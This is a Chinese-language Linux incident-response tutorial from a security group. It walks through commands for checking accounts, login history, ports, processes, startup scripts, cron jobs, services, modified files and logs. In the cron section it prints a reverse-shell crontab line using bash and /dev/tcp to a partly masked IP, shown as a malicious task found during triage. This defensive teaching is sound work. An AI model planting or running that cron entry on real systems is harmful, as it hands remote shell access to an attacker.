应急响应-Linux基础
声明:由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,知微安全以及文章作者不为此承担任何责任。知微安全拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经知微安全允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。 |
0x00 准备工作
0x02 主机排查步骤
首先可以查看/etc/passwd文件,发现系统账号是否异常。/etc/passwd 文件是系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读操作。查看命令与文件内容格式如下:
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
#用户名:密码:用户ID:组ID:用户说明:家目录:登陆之后shell
同时,还可以查看/etc/shadow文件。由于/etc/passwd文件允许所有用户读取,易导致用户密码泄露,因此Linux系统将用户的密码信息/etc/passwd文件中分离出来,并单独放到了/etc/shadow文件。/etc/shadow文件只有root 用户拥有读权限,其他用户没有任何权限,这样就保证了用户密码的安全性。注意,如果这个文件的权限发生了改变,则需要注意是否是恶意攻击。查看命令与文件内容格式如下:
cat /etc/shadowroot:$6$d4xej/gvGifHN...2rsXjuauwW/:18394:0:99999:7:::bin:*:17110:0:99999:7:::#用户名:加密密码:密码最后一次修改日期:两次密码的修改时间间隔:密码有效期:密码修改到期到的警告天数:密码过期之后的宽限天数:账号失效时间:保留
查看是否有新增非法账户的操作如下:
cat /etc/passwd | awk -F ":" '{print $1,$3,$4,$7}' | grep '/.*sh'root 0 0 /bin/bashshutdown 6 0 /sbin/shutdown
查看当前系统登录用户的操作如下:
who # 查看当前登录用户root pts/0 2020-11-19 09:44 (111.0.x.xx)w # 查看系统信息以及登录的用户信息12:34:39 up 191 days, 1:09, 1 user, load average: 0.00, 0.01, 0.05USER TTY FROM LOGIN@ IDLE JCPU PCPU WHATroot pts/0 111.0.x.xx 09:44 7.00s 9:07 0.02s -bash
more /etc/sudoers | grep -v ^"#\|^$" | grep "ALL=(ALL)"root ALL=(ALL) ALL%wheel ALL=(ALL) ALL
awk '/\$1|\$6/{print $1}' /etc/shadowroot:$6$d4xej/gvGifHN...2rsXjuauwW/:18394:0:99999:7:::
last #显示用户最近登录信息root pts/0 111.0.x.xx Thu Nov 19 13:01 still logged inroot pts/0 111.0.x.xx Thu Nov 19 09:44 - 13:00 (03:16)lastlog # 显示所有用户上次登录信息Username Port From Latestroot pts/0 111.0.x.xx Thu Nov 19 13:01:00 +0800 2020bin **Never logged in**daemon **Never logged in**adm **Never logged in**
禁用和删除账户
# 禁用hack账户,/etc/shadow中该账户的第二栏为!标识usermod -L hackcat /etc/shadowhack:!:18585:0:99999:7:::# 删除hack账户 -r表示在删除用户的同时也会删除用户目录userdel -r hack
history # 查看当前账户的历史命令cat /etc/passwdcat /etc/shadowcat /etc/passwd | awk -F ":" '{print $1,$3,$4,$7}' | grep '/.*sh'awk -F ":" 'length($2)==0 {print $1}' /etc/shadowawk '/\$1|\$6/{print $1}' /etc/shadowwhow# 将历史命令文件导出到txt文件,方便查看cat ~/.bash_history >> history.txt
history与~/.bash_history的区别:当前登录的操作并没有立即写入~/.bash_history文件中,而是保存在缓存中,当用户注销之后(或者history -w),缓存中的命令才会写入~/.bash_history 文件中。
检查.bashrc文件是否存在恶意命令。
0x023 异常端口与异常进程排查
netstat -antlp | more # 查看所有的TCP连接
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
25400/sshd
# 使用ls查看对应的进程文件路径
ls -l /proc/25400/exe
lrwxrwxrwx 1 root root 0 Nov 16 10:53 /proc/25400/exe -> /usr/sbin/sshd
执行ps aux | grep,检查异常进程:
aux | grep pid# 列出所有的系统服务,用于检查异常服务chkconfig --list# 列出非root用户运行的进程ps -U root -u root -NPID TTY TIME CMD461 ? 00:01:48 dbus-daemon1196 ? 00:00:31 ntpd1353 ? 00:00:14 polkitd1776 ? 03:39:55 mysqld3794 pts/0 00:09:27 mysqld14195 ? 00:00:00 bash14242 ? 00:00:00 pcheck
# 查看环境变量
env
XDG_SESSION_ID=32584
HOSTNAME=izbp1g4zku0z
TERM=xterm
SHELL=/bin/bash
HISTSIZE=4096
SSH_CLIENT=111.0.x.xx 9689 22
SSH_TTY=/dev/pts/0
USER=root
...
# 查看当前PATH环境变量
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/usr/local/go/bin:/root/bi
n
ls -l /etc/rc.d/rc[0-6].d/ |grep init.d | sort | uniq -c # centos
ls -l /etc/rc[0-6].d/ |grep init.d | sort | uniq -c # ubuntu
4 lrwxrwxrwx 1 root root 15 Sep 11 06:30 S50aegis ->
../init.d/aegis
3 lrwxrwxrwx. 1 root root 17 Oct 15 2017 K90network ->
../init.d/network
4 lrwxrwxrwx. 1 root root 17 Oct 15 2017 S10network ->
../init.d/network
4 lrwxrwxrwx 1 root root 17 Oct 24 00:20 S80aegis ->
/etc/init.d/aegis
7 lrwxrwxrwx. 1 root root 20 Oct 15 2017 K50netconsole ->
../init.d/netconsole
more /etc/rc.local
more /etc/rc.local /etc/rc.d/rc[0~6].d ls -l /etc/rc.d/rc3.d/
linux系统运行级别表:
ls /etc/init.dfunctions netconsole network README vmware-tools
crontab -l -u hack # 使用-u参数查看指定用户的定时任务列表
* * * * * bash -i>& /dev/tcp/47.x.x.xx/6666 0>&1 # 发现有恶意反弹shell的定时
任务
此时可定点删除该恶意定时任务,crontab(-e)进入定时任务列表,删除即可:
crontab -e # 编辑当前用户的crontab任务
root用户下还可以通过/etc/crontab(仅root写权限)来排查定时任务:
more /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
# For details see man 4 crontabs
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR
sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
more /etc/cron.daily/* # 查看目录下所有文件
同时,我们在排查定时任务时,需要重点关注以下目录中是否存在恶意脚本:
/var/spool/cron/*
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/*
/etc/cron.hourly/*
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*
0x026 服务排查
应急响应排查中,还需要查看主机是否有异常服务,以及服务的运行状态。
systemctl | grep running # 查看当前正在运行的服务
top # 显示当前系统正在执行的进程的相关信息,包括进程ID、内存占用率、CPU占用率等
ps –aux # 查看看当前运行的进程信息,也可使用 ps –ef
查询已安装的服务:
chkconfig --list # 查看服务自启动状态,可以看到所有的RPM包安装的服务
需要重点关注的服务:
(1)web应用服务:如果网络边界做好控制,通常对外开放的是Web服务。对这项服务,需要去排查 Webshell、Web日志等;
(2)SSH服务:SSH服务也是常对外开放且易受攻击的服务,对此排查是否有账户弱口令、SSH后门、SSH登录日志等;
(3)以Redis为首的各种未授权服务。
0x027 异常文件排查
通过排查系统最近修改的文件,可以帮助应急人员发现攻击者在拿到权限之后的操作痕迹,进而有利于发现问题、解决问题。
查看一些敏感敏感目录的文件,类/tmp目录,home文件下的异常账户目录下的文件。
hosts文件是系统配置文件,用于本地DNS查询的域名设置,可以强制将某个域名对应到某个IP上,因此需要检查hosts文件有没有被黑客恶意篡改。使用语法cat /etc/hosts。
查找最近修改的文件,可以使用find命令来查找,如:
find / -name "*" -atime 1 -type f # 找出根目录下一天前访问过的文件
find / -mmin -60 -name "*.jsp" # 查找最近60分钟修改过的jsp文件
# find参数
-name filename #查找名为filename的文件
-user username #按文件属主来查找
-group groupname #按组来查找
-mtime -n +n #按文件更改时间来查找文件,-n指n天以内,+n指n天以
前
-atime -n +n #按文件访问时间来查,文件上次被访问时间为n*24小时
前
-ctime -n +n #按文件状态修改时间来查,文件上次被访问时间为n*24
小时前
# 具体请自行 man find 查阅
如何排查危险文件:
(1)文件修改时间来判断,应急事件近期时间点的文件需要注意;
(2)文件名来判断,无意义的文件名可能是病毒木马;
(3)tmp目录存放的是系统和用户的临时信息,明显找不到对应程序和服务的文件需要注意,可能是攻击者留下的病毒木马;
不同的Linux,日志存放路径可能存在一定的误差,主机层面的日志路径基本都是/var/log,登陆安全日志主要是secure或者auth.log,web层面的日志主要是access日志和error日志,我们可以使用find去查询具体的日志路径:
find / -regex '.*/access[._]log'
/var/lib/docker/overlay2/9a12432b5c3f707a8841a5f8741ebdf7648ed76941949149e33c
7556ed68f8d4/diff/var/log/nginx/access.log
/var/lib/docker/overlay2/f7c4fba97bfc83e1fa6ce7fc61f7442ecd3c22887ddb724e120e
cda9ea36e2cf/diff/var/log/nginx/access.log
随着国家对网络安全的逐步重视,实战攻防演练的持续开展。安全事件在企业中频繁发生,考验的是安全工程师是否能够在第一时间排查攻击者的入侵痕迹,并根据收集到的信息进行反击溯源和威胁的根除,以及有效的对企业资产进行加固。本文给读者提供了linux主机排查的思路与实战操作命令。知微安全会持续关注安全攻防与研究,请大家多多关注后续文章。